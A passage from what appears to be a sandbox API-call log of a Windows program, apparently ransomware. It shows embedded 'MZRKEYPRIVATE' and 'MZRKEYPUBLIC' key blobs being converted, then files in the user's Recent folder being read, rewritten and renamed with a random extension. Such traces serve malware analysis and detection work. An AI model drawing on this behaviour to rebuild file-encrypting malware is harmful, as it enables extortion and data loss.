wpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.969] GetCurrentThreadId () returned 0xa30 [0079.969] GetCurrentThreadId () returned 0xa30 [0079.969] GetCurrentThreadId () returned 0xa30 [0079.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.970] GetCurrentThreadId () returned 0xa30 [0079.970] GetCurrentThreadId () returned 0xa30 [0079.970] GetCurrentThreadId () returned 0xa30 [0079.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\as_s0.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.971] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.971] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.971] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x22d [0079.971] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.971] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x22d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x22d, lpOverlapped=0x0) returned 1 [0079.973] CloseHandle (hObject=0x124) returned 1 [0079.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\as_s0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.975] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x22d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x22d, lpOverlapped=0x0) returned 1 [0079.976] CloseHandle (hObject=0x124) returned 1 [0079.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\as_s0.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\as_s0.lnk.zv7un")) returned 1 [0079.987] GetCurrentThreadId () returned 0xa30 [0079.987] GetCurrentThreadId () returned 0xa30 [0079.987] GetCurrentThreadId () returned 0xa30 [0079.987] GetCurrentThreadId () returned 0xa30 [0079.987] GetCurrentThreadId () returned 0xa30 [0079.987] GetCurrentThreadId () returned 0xa30 [0079.987] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0079.988] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c44e20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c44e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c44e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="AWMp7.lnk", cAlternateFileName="")) returned 1 [0079.988] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.988] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\awmp7.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c44e20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c44e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c44e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3d5)) returned 1 [0079.988] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\awmp7.lnk")) returned 0x20 [0079.988] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk", dwFileAttributes=0x80) returned 1 [0079.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFC